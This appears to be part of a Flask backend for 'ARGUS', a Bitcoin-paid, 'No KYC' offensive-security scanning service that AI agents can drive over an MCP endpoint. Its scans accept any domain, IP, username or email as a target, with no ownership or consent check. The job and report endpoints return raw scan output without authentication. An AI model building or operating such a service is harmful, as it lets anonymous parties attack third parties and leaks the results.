' def _tbl(rows): head = "".join("" + h + "" for h in rows[0]) body = "".join("" + "".join("" + c + "" for c in r) + "" for r in rows[1:]) return '' + head + '' + body + '
' def docs_page(): parts = [] parts.append(f""" ARGUS — API Reference
{_nav()}

API Reference

ARGUS is agent-native — built to be driven by code, not clicks. Mint an API key, submit scans as JSON, poll for results. Machine-readable OpenAPI at /openapi.json.

Base URL: https://argus.thetempleofdoom.com  ·  Auth: pass your key as X-API-Key: <key>. Keys are free; scans are settled in Bitcoin (sats). MCP access requires a paid subscription.

Authentication

POST/api/keys
Mint an API key. Identifies you so the watchman can tie scans to a caller. No cost.
""") parts.append(_code("json", SNIP_KEYS)) parts.append(_tbl([ ("Field", "Type", "Notes"), ("email", "string", "required — where results are delivered"), ("label", "string", "optional — human name for this key"), ])) parts.append(_code("response", SNIP_KEYS_RES)) parts.append("""

Launching scans

POST/api/scan
Submit a scan programmatically. Returns a job id and a Bitcoin invoice. The scan fires the moment the invoice settles.
""") parts.append(_code("json", SNIP_SCAN)) parts.append(_tbl([ ("Field", "Type", "Notes"), ("kind", "string", "web-vuln · osint · ad-audit · creds · monitor"), ("target", "string", "domain, IP, username, or email"), ("email", "string", "required — result delivery"), ("username", "string", "optional — for ad-audit / creds"), ("password", "string", "optional — for ad-audit / creds"), ("domain", "string", "optional — AD domain"), ])) parts.append(_code("response", SNIP_SCAN_RES)) parts.append("""

Reading results

GET/api/job/<job_id>
Poll a job's status. The watchman works asynchronously — call this until status is done or failed.
""") parts.append(_code("bash", SNIP_JOB_CURL)) parts.append(_code("response", SNIP_JOB_RES)) parts.append(_tbl([ ("status", "meaning"), ("unpaid", "invoice not yet settled"), ("running", "tools are executing"), ("done", "report ready"), ("failed", "scan errored — report holds the reason"), ])) parts.append("""
GET/api/jobs?key=<key>
List your scans. Every job tied to a given API key.
""") parts.append(_code("bash", SNIP_JOBS_CURL)) parts.append("""

MCP subscription (paid)

POST/api/subscribe
Subscribe for MCP access. Pay a weekly (or monthly) Bitcoin invoice; on settlement your key is authorized to drive the /mcp endpoint until expiry. No KYC.
""") parts.append(_code("json", SNIP_SUB)) parts.append(_tbl([ ("Field", "Type", "Notes"), ("email", "string", "required"), ("plan", "string", "mcp-weekly (20k sats/7d) · mcp-monthly (60k sats/30d)"), ("api_key", "string", "optional — omit to mint a new key"), ])) parts.append(_code("response", SNIP_SUB_RES)) parts.append("""
POST/mcp
The red-team MCP endpoint. A Model Context Protocol server over HTTP. Requires an active subscription (X-API-Key). Speaks JSON-RPC 2.0 — initialize, tools/list, tools/call.
""") parts.append(_code("json", SNIP_MCP_INIT)) parts.append(_code("json", SNIP_MCP_TOOLS)) parts.append(_code("json", SNIP_MCP_CALL)) parts.append(_tbl([ ("tool", "purpose"), ("argus_arsenal", "list every service, tool, and price"), ("argus_scan", "launch a scan — returns job id + BTC invoice"), ("argus_status", "poll a job's status / report / raw output"), ("argus_jobs", "list jobs tied to your key"), ])) parts.append("""

Discovering the arsenal

GET/api/tools
The full armory. Every tool and service ARGUS can run, as JSON — for agents to introspect before choosing a scan.
""") parts.append(_code("bash", SNIP_TOOLS_CURL)) parts.append("""
GET/openapi.json
Machine-readable OpenAPI 3.0 spec of this entire surface. Feed it to any client generator.
POST/webhook/btcpay
Internal — BTCPay settlement webhook. Do not call directly; ARGUS uses it to fire scans and activate subscriptions on payment.
{BG_JS} """) return "".join(parts) # ─── OPENAPI SPEC ──────────────────────────────────────────────────────────── OPENAPI = { "openapi": "3.0.0", "info": {"title": "ARGUS — Autonomous Security Agent", "version": "4.0.0", "description": "Rentable AI offensive-security agent. Bitcoin-settled, agent-native. MCP endpoint for subscribers."}, "servers": [{"url": "https://argus.thetempleofdoom.com"}], "paths": { "/api/keys": {"post": { "summary": "Mint an API key", "requestBody": {"required": True, "content": {"application/json": {"schema": { "type": "object", "required": ["email"], "properties": {"email": {"type": "string"}, "label": {"type": "string"}}}}}}, "responses": {"200": {"description": "api_key issued"}}, }}, "/api/login": {"post": { "summary": "Premium/owner login (permanent subscription key)", "requestBody": {"required": True, "content": {"application/json": {"schema": { "type": "object", "required": ["username", "password"], "properties": {"username": {"type": "string"}, "password": {"type": "string"}}}}}}, "responses": {"200": {"description": "premium api_key"}, "401": {"description": "invalid credentials"}}, }}, "/api/scan": {"post": { "summary": "Submit a scan (returns BTC invoice)", "parameters": [{"name": "X-API-Key", "in": "header", "schema": {"type": "string"}}], "requestBody": {"required": True, "content": {"application/json": {"schema": { "type": "object", "required": ["kind", "target", "email"], "properties": { "kind": {"type": "string", "enum": list(PRICES_SATS.keys())}, "target": {"type": "string"}, "email": {"type": "string"}, "username": {"type": "string"}, "password": {"type": "string"}, "domain": {"type": "string"}}}}}}, "responses": {"200": {"description": "job_id + invoice + checkout link"}}, }}, "/api/job/{job_id}": {"get": { "summary": "Poll job status", "parameters": [{"name": "job_id", "in": "path", "required": True, "schema": {"type": "string"}}], "responses": {"200": {"description": "status, report, raw"}}, }}, "/api/jobs": {"get": { "summary": "List jobs for a key", "parameters": [{"name": "key", "in": "query", "schema": {"type": "string"}}], "responses": {"200": {"description": "array of jobs"}}, }}, "/api/subscribe": {"post": { "summary": "Subscribe for MCP access (BTC invoice)", "requestBody": {"required": True, "content": {"application/json": {"schema": { "type": "object", "required": ["email", "plan"], "properties": {"email": {"type": "string"}, "plan": {"type": "string", "enum": list(MCP_PLANS.keys())}, "api_key": {"type": "string"}}}}}}, "responses": {"200": {"description": "api_key + invoice + checkout link"}}, }}, "/api/tools": {"get": {"summary": "Full arsenal inventory", "responses": {"200": {"description": "services + tools"}}}}, }, } # ─── MCP TOOL DEFINITIONS ──────────────────────────────────────────────────── MCP_TOOLS = [ {"name": "argus_arsenal", "description": "List every ARGUS service, tool, and price (sats). Use to introspect before launching a scan.", "inputSchema": {"type": "object", "properties": {}, "required": []}}, {"name": "argus_scan", "description": "Launch an offensive security scan. Returns a job id and a Bitcoin invoice; the scan fires once paid. kind: web-vuln | osint | ad-audit | creds | monitor.", "inputSchema": {"type": "object", "required": ["kind", "target", "email"], "properties": {"kind": {"type": "string", "enum": list(PRICES_SATS.keys())}, "target": {"type": "string"}, "email": {"type": "string"}, "username": {"type": "string"}, "password": {"type": "string"}, "domain": {"type": "string"}}}}, {"name": "argus_status", "description": "Poll a scan job by id — returns status, report, and raw tool output.", "inputSchema": {"type": "object", "required": ["job_id"], "properties": {"job_id": {"type": "string"}}}}, {"name": "argus_jobs", "description": "List recent scan jobs tied to the calling API key.", "inputSchema": {"type": "object", "properties": {}, "required": []}}, ] # ─── FLASK ─────────────────────────────────────────────────────────────────── app = Flask(__name__) app.secret_key = SECRET @app.route("/") def index(): return render_template_string(landing()) @app.route("/capabilities") def capabilities(): return render_template_string(capabilities_page()) @app.route("/docs") def docs(): return render_template_string(docs_page()) @app.route("/openapi.json") def openapi(): return jsonify(OPENAPI) @app.route("/report/") def report(job_id): db = get_db() job = db.execute("SELECT * FROM jobs WHERE id=?", (job_id,)).fetchone() if not job: return "Not found", 404 inv = f"{BTCPAY_PUBLIC}/i/{job['invoice_id']}" if job.get("invoice_id") else "#" return render_template_string(REPORT, job=job, inv=inv, raw=job.get("raw") or "", report=job.get("report") or "") @app.route("/api/job/") def job_status(job_id): db = get_db() job = db.execute("SELECT id,status,report,raw FROM jobs WHERE id=?", (job_id,)).fetchone() if not job: return jsonify({"error": "not found"}), 404 return jsonify({"status": job["status"], "report": job["report"], "raw": job["raw"]}) @app.route("/api/jobs") def job_list(): key = request.args.get("key", "") db = get_db() if not key_valid(key): return jsonify({"error": "valid API key required (?key=...)"}), 401 rows = db.execute("""SELECT j.id,j.kind,j.target,j.status,j.created_at FROM jobs j JOIN api_keys k ON k.email = j.email WHERE k.key=? ORDER BY j.created_at DESC LIMIT 50""", (key,)).fetchall() return jsonify([dict(r) for r in rows]) @app.route("/api/tools") def api_tools(): """Programmatic inventory of the full ARGUS arsenal (for agents).""" out = {} for cat, tools in ARSENAL: out[cat] = [{"name": n, "desc": d} for n, d in tools] return jsonify({"services": list(PRICES_SATS.keys()), "prices_sats": PRICES_SATS, "mcp_plans": {k: {"sats": v["sats"], "label": v["label"]} for k, v in MCP_PLANS.items()}, "arsenal": out}) @app.route("/api/keys", methods=["POST"]) def api_keys(): data = request.get_json(silent=True) or request.form email = (data.get("email") or "").strip() label = (data.get("label") or "").strip() if not email or "@" not in email: return jsonify({"error": "valid email required"}), 400 key = mint_key(email, label) return jsonify({"api_key": key, "email": email}) @app.route("/api/login", methods=["POST"]) def api_login(): """Premium/owner login — returns an admin key with a permanent subscription so the owner drives the full API + /mcp without paying.""" data = request.get_json(silent=True) or request.form u = (data.get("username") or data.get("email") or "").strip() p = (data.get("password") or "").strip() if u != ADMIN_USER or p != ADMIN_PASS: return jsonify({"error": "invalid credentials"}), 401 db = get_db() # reuse a stable admin key if one already has a permanent sub row = db.execute("""SELECT s.key FROM subscriptions s WHERE s.plan='premium' AND s.expires_at >= '2099-01-01T00:00:00+00:00' LIMIT 1""").fetchone() if row: key = row["key"] else: key = "argus_admin_" + uuid.uuid4().hex db.execute("INSERT OR IGNORE INTO api_keys (key,email,label) VALUES (?,?,?)", (key, "drjones@thetempleofdoom.com", "premium admin")) db.execute("""INSERT INTO subscriptions (key,email,plan,expires_at) VALUES (?,?,?,?) ON CONFLICT(key) DO UPDATE SET plan='premium', expires_at=excluded.expires_at""", (key, "drjones@thetempleofdoom.com", "premium", "2099-01-01T00:00:00+00:00")) db.commit() return jsonify({"api_key": key, "premium": True, "plan": "premium", "expires_at": "2099-01-01T00:00:00+00:00", "mcp_endpoint": f"{PUBLIC_BASE}/mcp"}) @app.route("/api/scan", methods=["POST"]) def api_scan(): data = request.get_json(silent=True) or request.form key = request.headers.get("X-API-Key", "") or data.get("api_key", "") if not key_valid(key): return jsonify({"error": "valid API key required (X-API-Key header)"}), 401 kind = data.get("kind", "web-vuln") target = (data.get("target") or "").strip() email = (data.get("email") or "").strip() if kind not in PRICES_SATS: return jsonify({"error": "unknown kind", "valid": list(PRICES_SATS.keys())}), 400 if not target or not email: return jsonify({"error": "target and email required"}), 400 params = {"username": (data.get("username") or "").strip(), "password": (data.get("password") or "").strip(), "domain": (data.get("domain") or "").strip()} sats = PRICES_SATS[kind] job_id = uuid.uuid4().hex[:12] db = get_db() db.execute("INSERT INTO jobs (id,email,kind,target,status,params) VALUES (?,?,?,?,?,?)", (job_id, email, kind, target, "unpaid", json.dumps(params))); db.commit() link, inv_id = btcpay_create_invoice(sats, job_id, f"ARGUS {kind} {target}", redirect=f"{PUBLIC_BASE}/report/{job_id}") if not link: return jsonify({"error": "payment init failed", "detail": inv_id}), 502 db.execute("UPDATE jobs SET invoice_id=? WHERE id=?", (inv_id, job_id)); db.commit() return jsonify({"job_id": job_id, "status": "unpaid", "sats": sats, "checkout": link, "report_url": f"{PUBLIC_BASE}/report/{job_id}", "poll": f"/api/job/{job_id}"}) @app.route("/api/subscribe", methods=["POST"]) def api_subscribe(): data = request.get_json(silent=True) or request.form email = (data.get("email") or "").strip() plan = (data.get("plan") or "mcp-weekly").strip() key = (data.get("api_key") or "").strip() if plan not in MCP_PLANS: return jsonify({"error": "unknown plan", "valid": list(MCP_PLANS.keys())}), 400 if not email or "@" not in email: return jsonify({"error": "valid email required"}), 400 if not key: key = mint_key(email, "mcp") elif not key_valid(key): return jsonify({"error": "invalid api_key"}), 400 sats = MCP_PLANS[plan]["sats"] order_id = "sub_" + uuid.uuid4().hex[:12] # persist the pending subscription intent keyed by order_id -> (key, email, plan) db = get_db() db.execute("""CREATE TABLE IF NOT EXISTS sub_orders ( order_id TEXT PRIMARY KEY, api_key TEXT, email TEXT, plan TEXT, created_at TEXT DEFAULT (datetime('now')))""") db.execute("INSERT INTO sub_orders (order_id, api_key, email, plan) VALUES (?,?,?,?)", (order_id, key, email, plan)); db.commit() link, inv_id = btcpay_create_invoice(sats, order_id, f"ARGUS MCP subscription — {plan}", redirect=f"{PUBLIC_BASE}/docs") if not link: return jsonify({"error": "payment init failed", "detail": inv_id}), 502 return jsonify({"api_key": key, "plan": plan, "sats": sats, "checkout": link, "mcp_endpoint": f"{PUBLIC_BASE}/mcp"}) @app.route("/subscribe", methods=["POST"]) def subscribe_form(): email = request.form.get("email", "").strip() plan = request.form.get("plan", "mcp-weekly").strip() key = request.form.get("api_key", "").strip() if plan not in MCP_PLANS: return render_template_string(landing() + ""), 400 if not email or "@" not in email: return render_template_string(landing() + ""), 400 if not key: key = mint_key(email, "mcp") sats = MCP_PLANS[plan]["sats"] order_id = "sub_" + uuid.uuid4().hex[:12] db = get_db() db.execute("""CREATE TABLE IF NOT EXISTS sub_orders ( order_id TEXT PRIMARY KEY, api_key TEXT, email TEXT, plan TEXT, created_at TEXT DEFAULT (datetime('now')))""") db.execute("INSERT INTO sub_orders (order_id, api_key, email, plan) VALUES (?,?,?,?)", (order_id, key, email, plan)); db.commit() link, inv_id = btcpay_create_invoice(sats, order_id, f"ARGUS MCP subscription — {plan}", redirect=f"{PUBLIC_BASE}/docs") if link: return f'' return render_template_string(landing() + f"") @app.route("/mcp", methods=["POST", "GET"]) def mcp_endpoint(): """Model Context Protocol server over HTTP (JSON-RPC 2.0). Subscription-gated.""" key = request.headers.get("X-API-Key", "") or request.args.get("key", "") if not sub_active(key): return jsonify({"jsonrpc": "2.0", "id": None, "error": {"code": -32001, "message": "Active MCP subscription required. POST /api/subscribe to pay."}}), 402 if request.method == "GET": return jsonify({"name": "ARGUS", "protocol": "mcp", "version": "4.0.0", "auth": "X-API-Key (subscription required)"}) body = request.get_json(silent=True) if not body: return jsonify({"jsonrpc": "2.0", "id": None, "error": {"code": -32700, "message": "invalid json"}}), 400 method = body.get("method", "") rid = body.get("id", None) if method == "initialize": return jsonify({"jsonrpc": "2.0", "id": rid, "result": { "protocolVersion": "2024-11-05", "capabilities": {"tools": {}}, "serverInfo": {"name": "ARGUS", "version": "4.0.0"}}}) if method == "notifications/initialized": return Response("", 202) if method == "ping": return jsonify({"jsonrpc": "2.0", "id": rid, "result": {}}) if method == "tools/list": return jsonify({"jsonrpc": "2.0", "id": rid, "result": {"tools": MCP_TOOLS}}) if method == "tools/call": p = body.get("params", {}) name = p.get("name", "") args = p.get("arguments", {}) or {} try: if name == "argus_arsenal": out = {} for cat, tools in ARSENAL: out[cat] = [{"name": n, "desc": d} for n, d in tools] text = json.dumps({"services": list(PRICES_SATS.keys()), "prices_sats": PRICES_SATS, "arsenal": out}, indent=2) elif name == "argus_scan": kind = args.get("kind", "web-vuln") target = (args.get("target") or "").strip() email = (args.get("email") or "").strip() if kind not in PRICES_SATS: text = json.dumps({"error": "unknown kind", "valid": list(PRICES_SATS.keys())}) elif not target or not email: text = json.dumps({"error": "target and email required"}) else: params = {"username": args.get("username", "").strip(), "password": args.get("password", "").strip(), "domain": args.get("domain", "").strip()} job_id = uuid.uuid4().hex[:12] db = get_db() db.execute("INSERT INTO jobs (id,email,kind,target,status,params) VALUES (?,?,?,?,?,?)", (job_id, email, kind, target, "unpaid", json.dumps(params))); db.commit() link, inv_id = btcpay_create_invoice(PRICES_SATS[kind], job_id, f"ARGUS {kind} {target}", redirect=f"{PUBLIC_BASE}/report/{job_id}") db.execute("UPDATE jobs SET invoice_id=? WHERE id=?", (inv_id, job_id)); db.commit() text = json.dumps({"job_id": job_id, "status": "unpaid", "sats": PRICES_SATS[kind], "checkout": link, "report_url": f"{PUBLIC_BASE}/report/{job_id}", "poll": f"/api/job/{job_id}"}) elif name == "argus_status": job_id = args.get("job_id", "") db = get_db() job = db.execute("SELECT id,status,report,raw FROM jobs WHERE id=?", (job_id,)).fetchone() text = json.dumps(dict(job)) if job else json.dumps({"error": "not found"}) elif name == "argus_jobs": email = key_email(key) db = get_db() rows = db.execute("SELECT id,kind,target,status,created_at FROM jobs WHERE email=? ORDER BY created_at DESC LIMIT 50", (email,)).fetchall() text = json.dumps([dict(r) for r in rows]) else: text = json.dumps({"error": f"unknown tool '{name}'"}) return jsonify({"jsonrpc": "2.0", "id": rid, "result": {"content": [{"type": "text", "text": text}]}}) except Exception as e: return jsonify({"jsonrpc": "2.0", "id": rid, "error": {"code": -32000, "message": str(e)}}) return jsonify({"jsonrpc": "2.0", "id": rid, "error": {"code": -32601, "message": f"method not found: {method}"}}) @app.route("/submit", methods=["POST"]) def submit(): kind = request.form.get("kind", "web-vuln") target = request.form.get("target", "").strip() email = request.form.get("email", "").strip() params = { "username": request.form.get("username", "").strip(), "password": request.form.get("password", "").strip(), "domain": request.form.get("domain", "").strip(), } if not target or not email: return render_template_string(landing() + ""), 400 sats = PRICES_SATS.get(kind, 4000) job_id = uuid.uuid4().hex[:12] db = get_db() db.execute("INSERT INTO jobs (id,email,kind,target,status,params) VALUES (?,?,?,?,?,?)", (job_id, email, kind, target, "unpaid", json.dumps(params))); db.commit() link, inv_id = btcpay_create_invoice(sats, job_id, f"ARGUS {kind} {target}", redirect=f"{PUBLIC_BASE}/report/{job_id}") if link: db.execute("UPDATE jobs SET invoice_id=? WHERE id=?", (inv_id, job_id)); db.commit() return f'' return render_template_string(landing() + f"") @app.route("/webhook/btcpay", methods=["POST"]) def btcpay_webhook(): raw = request.get_data() if not btcpay_verify(request.headers.get("BTCPay-Sig", ""), raw): return "bad sig", 401 data = request.get_json(force=True) if data.get("type") == "InvoiceSettled": inv = data.get("invoice", {}) order_id = (inv.get("metadata", {}) or {}).get("orderId") if not order_id: return "ok", 200 db = get_db() # subscription settlement if order_id.startswith("sub_"): row = db.execute("SELECT * FROM sub_orders WHERE order_id=?", (order_id,)).fetchone() if row: exp = extend_subscription(row["api_key"], row["email"], row["plan"]) db.execute("DELETE FROM sub_orders WHERE order_id=?", (order_id,)) db.commit() return "ok", 200 # scan settlement job = db.execute("SELECT * FROM jobs WHERE id=?", (order_id,)).fetchone() if job and job["status"] == "unpaid": db.execute("UPDATE jobs SET status='running' WHERE id=?", (order_id,)); db.commit() threading.Thread(target=run_job, args=(order_id,), daemon=True).start() return "ok", 200 if __name__ == "__main__": init_db() app.run(host="0.0.0.0", port=5000)